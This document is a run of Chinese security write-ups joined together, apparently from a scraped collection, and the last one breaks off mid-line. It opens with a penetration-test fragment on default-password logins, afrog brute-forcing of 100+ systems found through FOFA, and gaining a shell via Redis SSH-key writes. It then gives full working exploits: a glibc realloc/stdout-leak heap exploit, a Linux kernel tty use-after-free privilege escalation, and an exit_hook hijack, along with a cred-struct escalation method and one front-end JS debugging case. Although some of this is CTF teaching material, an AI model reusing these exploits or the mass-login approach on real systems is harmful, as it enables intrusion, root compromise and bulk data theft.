在系统管理-用户管理中同样发现存在manager用户直接以默认口令尝试登陆 获取5K+敏感信息,查看接口可获取到未脱敏信息 6.afrog批量POC 前期fofa找出来的结果,大概100+系统用afrog编写批量爆破poc尝试登陆,result=1就是登录成功;afrog、就是快、准、狠 粗略估计一下,大概100w左右的数据,永远永远的好起来了…… 7.redis-供应商内网 根据前期获取到的redis口令,登陆redis成功,并且为root权限,尝试写入公钥getshell老样子,先用xshell生成公钥,将此公钥复制到liqun工具箱中,直接进行写入即可 在连接的时候踩坑了,因为目标主机开放的ssh端口过多,其中一个端口44622写入失败,换一个端口44722写入成功了。 接下来就是内网常规操作了……
realloc函数应用&IO泄露体验
本题主要介绍realloc函数,平时我们使用realloc最多便是在打malloc_hook-->onegadget的时候,使用realloc_hook调整onegadget的栈帧,从而getshell。 在realloc函数中,也能像malloc一样创建堆,并且比malloc麻烦一些,但是倒是挺有趣的。 realloc realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果 size == 0 ,这个时候等同于free。也就是free(realloc_ptr),并且返回空指针。即没有uaf realloc_ptr == 0 && size > 0 , 这个时候等同于malloc,即malloc(size) malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉 stdout泄露 这里我只给出结论,具体可以https://blog.csdn.net/qq_41202237/article/details/113845320?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166341506616800186544437%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166341506616800186544437&biz_id=0&utm_medium=distribute.pc_se 设置_flags & _IO_NO_WRITES = 0 设置_flags & _IO_CURRENTLY_PUTTING = 1 设置_flags & _IO_IS_APPENDING = 1 _flags = 0xFBAD1800 设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾,程序中自带地址足够泄露libc) 具备以上基础我们可以来实战一题了 roarctf_2019_realloc_magic Arch:     amd64-64-little RELRO:   Full RELRO Stack:   Canary found NX:       NX enabled PIE:     PIE enabled 64位,保护全开 前情提要: 本题部署在2.27-3ubuntu1_amd64/libc-2.27.so 建议关闭linux地址空间随机化(ASLR),方便调试。 在root用户下执行 echo 0 > /proc/sys/kernel/randomize_va_space realloc int re() { unsigned int size; // [rsp+Ch] [rbp-4h] puts("Size?"); size = get_int(); realloc_ptr = realloc(realloc_ptr, size); puts("Content?"); read(0, realloc_ptr, size); return puts("Done"); } free int fr() { free(realloc_ptr); return puts("Done"); } 存在uaf,可以利用起来 这里有个清零指针的函数 int ba() { if ( lock )   exit(-1); lock = 1; realloc_ptr = 0LL; return puts("Done"); } 程序特别简单,但是利用比较精妙, 在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的chunk都会写在在realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢出写 思路 通过realloc,和uaf,构造好tcache的布局 然后把_IO_2_1_stdout 链到bin里面,通过stdout泄露libc,得到free_hook 最后正常打free_hook:free_hook-->system-->/bin/sh 首先利用malloc(size)和free(size)在tcache上面先准备好 malloc(size)可以由realloc(realloc_ptr,size)得到(本文上面的第二个效果) free(size)可以由realloc(realloc_ptr,size=0)得到(本文上面的第一个效果) realloc(0x20,b'b') #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备 realloc(0,"") realloc(0x90,b'b') realloc(0,"") realloc(0x10,b'b') realloc(0,"") realloc(0x90,b'b') for i in range(7):   dele() realloc(0,"") 这一步非常重要,首先将0x90的地址申请回来,赋值给realloc_ptr,在通过uaf,tcache double free free掉7次,填满tcache bin,然后再free一次,使0x90进入到unsortedbin,把main_arena链进来 为什么第八次free需要使用realloc去free呢? 因为首先是因为用来链上unsortedbin,其次用来清空掉realloc_ptr指针,不影响后面的chunk使用 看一下此时的堆空间 realloc(0x20,b"aaa") pl=p64(0)*5+p64(0x81)+b"\x60\xc7" #realloc(0x50,b'aaa') #这里的注释是用来方便看你申请的堆放哪里去了,可以自己看一下 realloc(0x50,pl) 这里看上面图片的堆布局,如果你用了注释看了一下gdb,就知道为什么这样摆了, 后面申请的0x50是因为能刚好申请到更改unsortedbin的范围,大一点也没关系 首先改chunkB,也就是我们放入unsortedbin的chunk,改掉size值,可以结合realloc(0),多一次malloc 后面的"\x60\xc7"看图就知道了 _IO_2_1_stdout_跟main_arena相差了4位,并且低三位是固定的,只需要爆破一位 (因为我关闭了ASLR,所以直接\x60\xc7打本地不用爆破一次通(x)) 直接看成果图 可以发现成功链上了_IO_2_1_stdout_,接下来我们只需要把他申请回来就行 realloc(0,"") realloc(0x90,b'aa') realloc(0,"") pl=p64(0xfbad1887)+p64(0)*3+b'\x58' realloc(0x90,pl) 这里就涉及到_IO_2_1_stdout_泄露libc了,(下图都还没改的 0xfbad1887照着原来的就行低两位,高地址就是取我们设定好的0xFBAD1800 这里前面的_IO_read_xx用p64(0)填充掉,然后利用_IO_write_base设置指向想要泄露位置,比如说改成\x58 也就是 把_IO_file_jumps泄露出来,就可以计算libc,别的位置都可以,只需要是能算libc的即可 然后算出free_hook,system的libc地址, 接下来首先先用给的清理realloc_ptr的函数,将realloc_ptr置0 sla(menu,'666') realloc(0x30,b'a') realloc(0,"") realloc(0xa0,b'a') realloc(0,"") realloc(0x10,b'b')#2 realloc(0,"") realloc(0xa0,b'b') for i in range(7): dele() realloc(0,"") realloc(0x30,b'a')pl=p64(0)*7+p64(0x71)+p64(free-8) realloc(0x70,pl) realloc(0,"") realloc(0xa0,b'a') realloc(0,"") realloc(0xa0,b'/bin/sh\x00'+p64(sys)) dele() free-8是为了放好/bin/sh,然后顺便下一个将free_hook改成system 完整exp: from pwn import* def debug(cmd = 0):       if cmd == 0:           gdb.attach(r)       else:           gdb.attach(r,cmd)       pause() menu=b">>" def realloc(size,con):   r.sendlineafter(menu, b'1')   r.sendlineafter(b'ize',str(size))   r.sendafter(b'ent',con) def dele():   r.sendlineafter(menu,b'2')     libc=ELF("libc-2.27.so") context(os='linux', arch='amd64',log_level='debug') def pwn():   realloc(0x20,b'b')   realloc(0,"")   realloc(0x90,b'b')   realloc(0,"")   realloc(0x10,b'b')   realloc(0,"")   realloc(0x90,b'b')   for i in range(7):       dele()   realloc(0,"")   realloc(0x20,b"aaa")   payload=p64(0)*5+p64(0x81)+b"\x60\xc7"   #realloc(0x50,b'aaa')   realloc(0x50,payload)       realloc(0,"")   realloc(0x90,b'aa')   realloc(0,"")   payload=p64(0xfbad1886)+p64(0)*3+b'\x58'   realloc(0x90,payload)   #debug()   leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_file_jumps']   print(hex(leak))   free=leak+libc.sym['__free_hook']   system=leak+libc.sym['system']   r.sendlineafter(menu,'666')   realloc(0x30,b'a')   realloc(0,"")   realloc(0xa0,b'a')   realloc(0,"")   realloc(0x10,b'b')#2   realloc(0,"")   realloc(0xa0,b'b')   for i in range(7):       dele()   realloc(0,"")   realloc(0x30,b'a')   payload=p64(0)*7+p64(0x71)+p64(free-8)   realloc(0x70,payload)   realloc(0,"")   realloc(0xa0,b'a')   realloc(0,"")   realloc(0xa0,b'/bin/sh\x00'+p64(system))   dele()   r.interactive() for i in range(1):   try:       r=process("./pwn")       pwn()       break   except:       r.close()
渗透测试中的前端调试(一)
前言 前端调试是安全测试的重要组成部分。它能够帮助我们掌握网页的运行原理,包括js脚本的逻辑、加解密的方法、网络请求的参数等。利用这些信息,我们就可以更准确地发现网站的漏洞,制定出有效的攻击策略。前端知识对于安全来说,不但可以提高测试效率,还可以拓宽测试思路。 以下的一个案例是我在测试一个后台管理系统时遇到的问题,本来在登录页面通过js已经发现了接口和字段,但是请求的时候发现不是未授权漏洞,但是字段只有新密码和用户名,那么这个大概率是存在漏洞的。 正文 本次为授权测试,客户有提供账号密码。在后台的修改密码处: JavaScript分析 当我输入正确密码时,又消失,说明存在校验。要么后端校验,要么前端校验。通过前面登录前的js内容,大致可以猜到这个就是前端校验。 我使用burp进行抓取数据包,发现没有请求通过: 说明大概率前端校验(也有可能是抓不到,但是概率很小)接下来就是要分析前端js了。这边我主要分析的是文本框的"与初始密码不一致"这个提示信息的判断逻辑: 我这边分析主要有两种方法: ①事件监听器: 通过事件监听器去找对应的js事件,通过正向去查看js,跟着对应的函数一层一层进行代码审计: 但是通过正向找过去,发现是经过多层调用的。且所有代码经过高度压缩混淆。 这时候还可以通过其他的按钮去找,大概率处理逻辑的js都是在一起的。当然只是可能。 找到提交按钮。 点击是会报错的。查看下这个提交的逻辑: 找到submit,去查看调用的js代码: 很不幸,还是这个混淆过的看不懂的js。按住ctrl还进不去函数,不知道为什么。GG。 ②直接搜对应的关键字,去js里面翻 这个方法应该是大家比较常用的方法了。直接搜索关键字,比如加解密就直接搜索encrypt,一般都有效。 比如这边,可以直接搜索报错信息:与初始密码不一致: 找过去都是0。这时候就应该考虑,他是否有可能保存在css里面,或者使用urlencode或者Unicode编码。 (PS:因为没有对于后端请求,我们就不做从后端响应的情况假设。不然正常的字符串在前端找不到的情况下,有可能是后端返回的。) 先把这些字符转为Unicode编码查看。作为字符去查询的时候,建议不要全部字符去查询,因为有时候他可能会把对应的字符串分开放,或者做拼接。使用可以直接搜索比如不容易重复的几个关键字。比如这边的"一致"。 对于搜索,可以把js和html页面都代理从burp出去,然后使用burp自带的搜索,可能会比较方便。我这边就是采用这种方法进行查询: 很幸运,找到了! +-----------------------------------------------------------------------+| function At(n, o) { || || 1 & n && (t.TgZ(0, "mat-hint"), || || t._uU(1, || "\u4e0e\u521d\u59cb\u5bc6\u7801\u4e0d\u4e00\u81f4"), || || t.qZA()) || || } || || function bt(n, o) { || || 1 & n && (t.TgZ(0, "mat-hint"), || || t._ 可以看到js高度混淆。 对于审计很难。这边我们只需要查看是谁调用了这个函数,网上找这个逻辑即可。 有几种方法可以找到,这边借用new bing的回答: 您好,这是Bing。 根据我的搜索结果,有几种方法可以在Chrome中实现这个功能。我将为您介绍其中的一些方法: 1、使用Chrome开发者工具的搜索功能¹。您可以按下`ctrl + shift +F`(Windows)或`cmd + optn +F`(macOS)打开一个跨所有脚本的搜索窗口。然后,您可以勾选"正则表达式"复选框,并搜索函数的名称和定义方式。例如,如果您想要查找名为`foo`的函数,您可以搜索`foo\s*=\s*function`(表示`foo=function`之间有任意数量的空格)或者`function\s*foo\s*\(`(表示`functionfoo(`之间有任意数量的空格)。搜索结果将显示函数定义所在的脚本和位置,您可以点击它们跳转到相应的代码行。 2、使用Chrome开发者工具的调用栈功能。如果您想要查找一个函数是从哪里被调用的,您可以在函数体内部添加一个断点,然后运行代码。当代码执行到断点处时,开发者工具会暂停,并显示当前的调用栈。您可以在调用栈面板中查看函数被调用的顺序和位置,以及每个函数的参数和局部变量。 3、使用JavaScript代码获取函数的调用者³。如果您想要在代码中获取一个函数是从哪里被调用的,您可以使用`arguments.callee.caller`属性来访问当前函数的调用者。这个属性会返回一个函数对象,您可以使用它的`name`属性来获取函数的名称,或者使用它的`toString()`方法来获取函数的源代码。如果当前函数是从全局作用域被调用的,那么这个属性会返回`null`,您可以使用条件判断来处理这种情况。 我这边采用了第二点,可以在这边看到栈的调用。 成功找到密码判断点: 接下来就可以看你想改什么就改什么了。 JavaScript本地修改调试 找到对应函数后,接下来就是修改js里面的内容了。如果想修改js,在前端调试,需要在替换里面添加一个文件夹,然后在js编辑界面保存即可。保存成功会有紫色的小点点: 在js里面添加一个console.log,测试调试。触发该函数后,成功打印: 后续如果想通过前端绕过,可以同样去调试提交按钮。 结尾 可能有些人会说,这么麻烦去绕过做什么?本文只是讲解一些调试思路,和本次的漏洞没有太大关系,只是作为案例讲解。我本身不是做前端出身,主做分享使用。很多方面的知识我也是自己有接触到才去学习,可能对于一些大佬来说,这些都是很基础,勿喷。给自己挖个坑,如果本文反响不错的话,后续给大家分享一些遇到js前端加解密的web站点,该怎么去进行调试和测试。
通过复用TTY结构体实现提权利用
前言 UAF是用户态中常见的漏洞,在内核中同样存在UAF漏洞,都是由于对释放后的空间处理不当,导致被释放后的堆块仍然可以使用所造成的漏洞。 LK01-3 结合题目来看UAF漏洞 项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3 open模块 在执行open模块时会分配0x400大小的堆空间,并将地址存储在g_buf中 #define BUFFER_SIZE 0x400 char *g_buf = NULL; static int module_open(struct inode *inode, struct file *file) {  printk(KERN_INFO "module_open called\n");  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);  if (!g_buf) {    printk(KERN_INFO "kmalloc failed");    return -ENOMEM; }  return 0; } read模块 在读模块中,会从用户空间中读取0x400字节到g_buf执行的堆空间中 static ssize_t module_read(struct file *file,                           char __user *buf, size_t count,                           loff_t *f_pos) {  printk(KERN_INFO "module_read called\n");  if (count > BUFFER_SIZE) {    printk(KERN_INFO "invalid buffer size\n");    return -EINVAL; }  if (copy_to_user(buf, g_buf, count)) {    printk(KERN_INFO "copy_to_user failed\n");    return -EINVAL; }  return count; } write模块 在写模块中,会从用户空间拷贝400字节数据到内核堆空间中 static ssize_t module_write(struct file *file,                            const char __user *buf, size_t count,                            loff_t *f_pos) {  printk(KERN_INFO "module_write called\n");  if (count > BUFFER_SIZE) {    printk(KERN_INFO "invalid buffer size\n");    return -EINVAL; }  if (copy_from_user(g_buf, buf, count)) {    printk(KERN_INFO "copy_from_user failed\n");    return -EINVAL; }  return count; } close模块 close模块会释放g_buf指向的堆块空间 static int module_close(struct inode *inode, struct file *file) {  printk(KERN_INFO "module_close called\n");  kfree(g_buf);  return 0; } 漏洞分析 在读写模块中都限制了长度为0x400,这与一开始分配的堆空间大小一致,因此与LK01-2不同的是不存在堆溢出漏洞。但是在open模块中g_buf是唯一用来存储堆地址的变量,并且没有进行次数限制,那么就会导致多次调用open模块会使得存在多个指针指向同一块内存,若该内存被释放就会造成UAF漏洞。下图就是构造UAF漏洞的流程。 当把g_buf释放掉后,通过fd2文件描述符同样能够操控g_buf的空间,问题是该如何劫持程序流程,由于堆空间是通过slab分配器进行分配的,而slab还可而已进行缓存,因此g_buf被释放后会放进缓存中,而g_buf的大小为0x400这与tty结构体一致,因此此时通过堆喷确保g_buf被分配到tty结构体。构造uaf的代码如下。 ... int fd1 = open("/dev/holstein", O_RDWR); int fd2 = open("/dev/holstein", O_RDWR); close(fd1); for (int i = 0; i < 50; i++) { spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (spray[i] == -1) { printf("error!\n"); exit(-1); } } ... 这里我有一个疑惑的点,在模块中的close函数仅仅只是释放了g_buf的堆内存并没有后续操作,因此在执行close(fd1)之后,是不是还能对文件描述符fd1进行操作,后来试验之后发现不行,查询资料得到,文件描述符的移除是内核默认操作与重定义模块的close操作无关。 在构造出UAF漏洞并进行堆喷之后,实际操作的g_buf指向的是tty的结构体,该结构体偏移0x18是一个函数表的操作指针,那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3一致,将指针操作修改为栈迁移到堆上,然后就是执行commit_creds(prepare_kernel_cred(0)),利用swapgs_restore_regs_and_return_to_usermode绕过kpti的保护。 run.sh #!/bin/sh qemu-system-x86_64 \    -m 64M \    -nographic \    -kernel bzImage \    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \    -no-reboot \    -cpu qemu64,+smap,+smep \    -smp 1 \    -monitor /dev/null \    -initrd initramfs.cpio.gz \    -net nic,model=virtio \    -net user \    -s exp #include <stdio.h> #include <ctype.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdlib.h> int spray[100]; //0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret; //0xffffffff8114078a: pop rdi; ret; //0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; //0xffffffff810eb7e4: pop rcx; ret; //0xffffffff81072560 T prepare_kernel_cred //0xffffffff810723c0 T commit_creds //0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode #define push_rdx_pop_rsp_offset 0x14fbe8 #define pop_rdi_ret_offset 0x14078a #define pop_rcx_ret_offset 0xeb7e4 #define prepare_kernel_cred_offset 0x72560 #define commit_creds_offset 0x723c0 #define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10 #define mov_rdi_rax_offset 0x638e9b unsigned long user_cs, user_sp, user_ss, user_rflags; void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n", user_rflags); printf("[#] backdoor: 0x%lx \n\n", backdoor); } int main() { save_user_land(); int fd1 = open("/dev/holstein", O_RDWR); int fd2 = open("/dev/holstein", O_RDWR); close(fd1); for (int i = 0; i < 50; i++) { spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (spray[i] == -1) { printf("error!\n"); exit(-1); } } char buf[0x400]; read(fd2, buf, 0x400); unsigned long *p = (unsigned long *)&buf; //for (unsigned int i = 0; i < 0x80; i++) // printf("[%x]:addr:0x%lx\n",i,p[i]); unsigned long kernel_addr = p[3]; unsigned long heap_addr = p[7]; printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr); unsigned long kernel_base = kernel_addr - 0xc39c60; unsigned long g_buf = heap_addr - 0x38; printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf); *(unsigned long *)&buf[0x18] = g_buf; p[0xc] = push_rdx_pop_rsp_offset + kernel_base; //for (unsigned long i = 0xd; i < 0x80; i++) // p[i] = i; p[0x21] = pop_rdi_ret_offset + kernel_base; p[0x22] = 0; p[0x23] = prepare_kernel_cred_offset + kernel_base; p[0x24] = pop_rcx_ret_offset + kernel_base; p[0x25] = 0; p[0x26] = mov_rdi_rax_offset + kernel_base; p[0x27] = commit_creds_offset + kernel_base; p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base; p[0x29] = 0; p[0x2a] = 0; p[0x2b] = (unsigned long)backdoor;    p[0x2c] = user_cs;    p[0x2d] = user_rflags;    p[0x2e] = user_sp;    p[0x2f] = user_ss;   write(fd2, buf, 0x400); for (int i = 0; i < 50; i++) ioctl(spray[i], 0, g_buf+0x100); }
内存利用:迟来的blindless与逃不掉的exit漏洞
0x01 前言 在计算机安全领域,漏洞的危险性往往与其广泛性和潜在攻击方式密切相关。今天,我们将深入探讨一个异常危险的漏洞,它存在于程序退出时执行的常见函数"exit"中。无论是在操作系统还是应用程序中,"exit"都是一个普遍存在的函数,通常用于正常退出程序。但这种普遍性也使得它成为了潜在的攻击目标。 这个漏洞的威胁性在于,它不仅存在于各种程序中,而且有多种潜在的攻击方式。攻击者可以通过利用这一漏洞来执行恶意代码,获取系统权限,或者实施其他恶意行为。要理解这个漏洞的威胁,我们需要深入分析其背后的原理以及不同的利用方式。 在本文中,我们将探讨这个漏洞的具体情况,并详细分析了两种主要的利用方式:一种是将程序流转向libc库中的函数,另一种是将程序流转向程序本身的代码段。我们将深入研究这两种攻击方式的原理,并展示了一个实际漏洞利用的示例。 "blindless"是来自WMCTF 2023比赛的一个题目,虽然难度不高,但要深入理解并利用其中的漏洞,需要花费大量时间。本文总结了有关"exit_hook2libc"和"exit_hook2elf"的利用方法,旨在分享给大家学习。这题的关键是深入理解程序退出时执行的"exit"函数,以及如何通过不同方式实现漏洞利用。 0x02 exit_hook的n种姿势 基地址放在此处供各位参考一下,用于计算指令偏移。 exit_hook2libc 首先是p &_rtld_global(看地址),他有一个rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive的元素可以改来调用。 注意一定要用docker或者虚拟机,否则没有符号表会特别坐牢! 执行p _rtld_global。看到那两个rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive吗,就是他们两个。我们可以修改他们的内容,从而作为exithook进行调用(直接call)。把后面的东西复制过来p &xxx就可以查看其地址了。 注意看,这个程序叫小帅,他调用的第一个参数就是rdi,是_rtld_global+2312,我们可以控制他的参数为/bin/sh\x00然后做坏坏的事情(如果能把rtld_lock_default_lock_recursive也改成system的话)。 然后rtld_lock_default_unlock_recursive的参数也是2312这个偏移。 注意这个2312是十进制。 好的,我们就修改这两个地方就可以为所欲为了,但是exit_hook到这里还没完。 并且严格来说,这里并不是完全的exit_hook2libc,如果知道elf的地址也完全可以返回到elf上的函数。 接下来还有更骚的,可以控制到程序上的地址(直接跳转,或者间接取地址跳转。) exit_hook2elf 1.间接call 这个在这里,第一个是间接call,即指令是call qword ptr [寄存器],意思就是从寄存器的地址指向的内存里取地址,然后call。 对于间接call的利用,我们可以修改他的偏移到任意函数got表,然后配合参数rdi_rtld_global+2312使用。 例如修改_rtld_global+2312为"/bin/sh\x00" 这个的基地址和偏移是存在于link_map的,这样可以找到他的地址。 调试可以看到他会从这个地址的内存中取elf基地址,然后通过link_map地址+0x110存的地址取偏移。我们可以改基地址也可以选择改偏移。link_map地址+0x110是存第一个间接call的偏移的。 注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。 2.直接call link_map地址+0xa8是存第二个直接call的偏移 注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。 如果改偏移的话能改最好,还能直接形成调用链子。但是如果没有偏移,就只能改基地址了——也就是p &l出来那儿。但是这样肯定会损坏第一次call r14的,会导致无法正常进行。 但是发现有一个地方判断可以跳过call r14。 就是这里,test edx,edx是edx和edx相互and,留下标志位。简单来说就是如果是0,那么不跳转。如果是1,那么跳转。 在x86汇编中,je 指令的作用是: 检查零标志位(ZF)是否被设置为 1。 如果零标志位被设置为 1,将进行跳转到指定的目标位置。 回溯发现是从link_map+0x120取来的地址,也就是说想要这里为0,就把那里的地址指向为0的地方即可!不过也要注意,这里取的是地址+8,也就是我们要改成目标地址-8改进去。这里直接找bss段之类的即可。 完成这个操作,就可以修改基地址达到任意直接call的效果了!即使没有泄露,也可直接返回到程序上(比如此题有后门)。如果有,那就是为所欲为!(和前面一样,如果有泄露真的就是为所欲为了)。 0x03 exp 那么本题目由于有brainfuck函数可以执行任意地址写,则根据前面的exit_hook可以做到提权。 from pwn import * n2b = lambda x   : str(x).encode() rv  = lambda x   : p.recv(x) rl  = lambda     :p.recvline() ru  = lambda s   : p.recvuntil(s) sd  = lambda s   : p.send(s) sl  = lambda s   : p.sendline(s) sn  = lambda s   : sl(n2b(n)) sa  = lambda t, s : p.sendafter(t, s) sla = lambda t, s : p.sendlineafter(t, s) sna = lambda t, n : sla(t, n2b(n)) ia  = lambda     : p.interactive() rop = lambda r   : flat([p64(x) for x in r]) uu64=lambda data :u64(data.ljust(8,b'\x00')) while True:        context(os='linux', arch='amd64', log_level='debug')        p = process('./main')        context.terminal = ['tmux','new-window' ,'-n','-c']        #gdb.attach(p)        sla('ze',b'-10')#分配到libc上(用mmap)        sla('ze',b'256')        pay = b'@'+p32(2148618432)#到ld的地址+0x2f190的偏移        pay += b'@'+p32(2148618432)        pay +=b'.' + b'\xb1'        pay += b'>.' + b'\x7c'#使得加了偏移之后是后门函数地址        pay += b'@'+p32(0x11f)#修改0x120的地址,指向0,跳过call r14        pay +=b'.' + b'\x00'        pay += b'q'        sla('code\n',pay)        re = p.recvrepeat(0.1)#一直接收直到有回显        #如果是system的话可以发一个cat flag再这样        #这是个很好的爆破方式,学习学习        if re:            print('pwned!get your flag here:',re)            exit(0)        p.close()
通过篡改cred结构体实现提权利用
前言 在之前的HeapOverflow文章中,作者还构造了任意地址读写的操作,使用了任意地址读写去进行提权,还挺有意思的,记录一下如何利用任意地址读写进行提权。 作者利用任意地址读写分别改写https://h0pe-ay.github.io/%E5%88%A9%E7%94%A8modprobe_path%E6%8F%90%E6%9D%83/以及cred结构体去实现提权的操作,由于改写modprobe_path的方法之前已经研究过了,因此现在详细记录一下如何修改cred结构体完成提权操作。 cred结构体 cred 结构体通常出现在UNIX/Linux操作系统内核中,用于表示进程的凭据(credentials)。这些凭据包括有关进程身份的信息,如用户ID、组ID、权限等。结构体部分成员如下 struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */   ... } __randomize_layout; 而我们在ret2usr的操作中,通常都为执行commit_creds(prepare_kernel_cred(0)),实际就是为了获取root的凭证,因此如果我们能过任意地址写的操作修改cred的结构体也同样能够实现。 在cred的结构体存在uid、gid等标识符用于标识在系统中用于身份验证和权限控制,因此将这些标识符修改为0,即可将当前进程修改为root进程。 那么该如何获取cred结构体的地址,则是提权的关键。这里就需要凭借任意地址读的操作。在task_struct中存在着cred结构体的指针值。并且该指针值刚好存在于comm变量的上方,而该变量用于存储当前的进程名。 /* Effective (overridable) subjective task credentials (COW): */ const struct cred __rcu *cred; #ifdef CONFIG_KEYS /* Cached requested key. */ struct key *cached_requested_key; #endif /* * executable name, excluding path. * * - normally initialized setup_new_exec() * - access it with [gs]et_task_comm() * - lock it with task_lock() */ char comm[TASK_COMM_LEN]; 因此我们可以通过将当前的进程名设置为在内核地址中几乎不会出现的值,则可以搜索内存值找到comm变量的位置,那么就可以获取cred结构体的指针值。 这里使用prctl函数设置进程名,prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。 prctl 函数的原型如下: #include <sys/prctl.h> int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5); prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。 prctl 函数的参数和行为取决于传递给它的 option 参数,以及可能的附加参数 arg2 到 arg5。不同的 option 值对应于不同的控制操作。 以下是一些常见的 option 值和它们的用途: PR_SET_NAME:设置进程的名称,可以用于在系统中标识进程。 PR_GET_NAME:获取进程的名称。 PR_SET_PDEATHSIG:设置父进程退出时发送给子进程的信号。 PR_GET_PDEATHSIG:获取父进程退出时发送给子进程的信号。 PR_SET_SECCOMP:启用或禁用Seccomp过滤器,用于限制进程对系统调用的访问。 PR_SET_KEEPCAPS:控制进程是否保留其有效用户ID的能力。 PR_GET_KEEPCAPS:获取进程是否保留其有效用户ID的能力。 PR_SET_NO_NEW_PRIVS:设置进程的No New Privileges标志,用于控制是否可以提升权限。 PR_GET_NO_NEW_PRIVS:获取进程的No New Privileges标志状态。 PR_SET_DUMPABLE:设置进程的核心转储状态。 PR_GET_DUMPABLE:获取进程的核心转储状态。 PR_SET_CHILD_SUBREAPER:设置进程是否作为子进程的子进程的领导者。 PR_GET_CHILD_SUBREAPER:获取进程是否作为子进程的子进程的领导者。 ptrctl(PR_SET_NAME, "XXXXXXXXX"); //设置进程名 那么利用cred结构体的提权流程如下: 具有任意地址读写的操作 使用prctl函数将进程名设置为关键字 使用任意地址在内核内存中搜索关键字,获取cred结构体的地址 使用任意地址写修改cred结构体标识符的值,全修改为0 LK01-2 项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2/qemu/AAR&AAW& 题目的读写模块存在着堆溢出的漏洞,那么想要使用cred结构体进行提权,首先需要构造出任意地址读写的操作。 ...    *(unsigned long *)&buf[0x418] = g_buf;    p[0xc] = 0xaaaaaa;    write(fd, buf, 0x500);    for (int i = 0; i < 100; i++) ioctl(spray[i], 0x1234, 0x5678); ... 正如之前所说的,ioctl的参数是会传递给寄存器的,可以看到ioctl函数的参数对应RCX与RSI寄存器,而第三个参数对应于RDX寄存器。并且距离g_buf地址的0xc的位置可以劫持程序的流程。 那么在内核中搜索相关的gadget就可以构造出任意地址读写的操作。 任意地址读 这里需要注意的是ioctl函数的参数的字节长度是不同的,在执行ioctl(spray[i], 0x1122334455667788, 0x1122334455667788)时,我们同时往参数二与参数三写入0x1122334455667788的值,但是RCX寄存器值传入了4个字节,而RDX寄存器可以传入8个字节,因此我们需要将RDX寄存器作为地址,而RCX作为值,这是因为内核地址是占满八字节的。 搜索的表达式为cat g | grep "mov .* \[rdx\];",由于需要rdx作为地址,因此直接搜索以rdx作为间接寻址的操作,括号需要进行转义字符。这里我们选取0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;作为任意地址读的gadget,这是因为我们可以往rdx填入想要读取的地址并且eax通常用于存储返回值,因此直接读取返回值即可获得rdx指向的值。 为了加速读取,作者这里采用缓存的形式,将能够控制的tty结构体的文件描述符存储起来,这样在下次读取时就不用重新遍历一遍。 //0xffffffff8118a285: mov eax, dword ptr [rdx]; ret; int aar(unsigned long addr) {      int result;    *(unsigned long *)&buf[0x418] = g_buf;    p[0xc] = kernel_base + op_aar;    write(fd, buf, 0x500);    if (cache_fd == -1)   {    for (int i = 0; i < 100; i++) {       result = ioctl(spray[i], 0, addr);       if (result != -1)       {         cache_fd = spray[i];   return result;       }   }     }    else   return(result = ioctl(cache_fd, 0, addr)); } 任意地址写 任意地址写的gadget搜索思路与任意地址读一致,同样是将rdx作为寻址的寄存器,并且由于需要构造任意地址写,因此rcx寄存器则是我们想写入的值,因此搜索的表达式为cat g | grep "mov .* \[rdx\], rcx;" //0xffffffff810477f7: mov qword 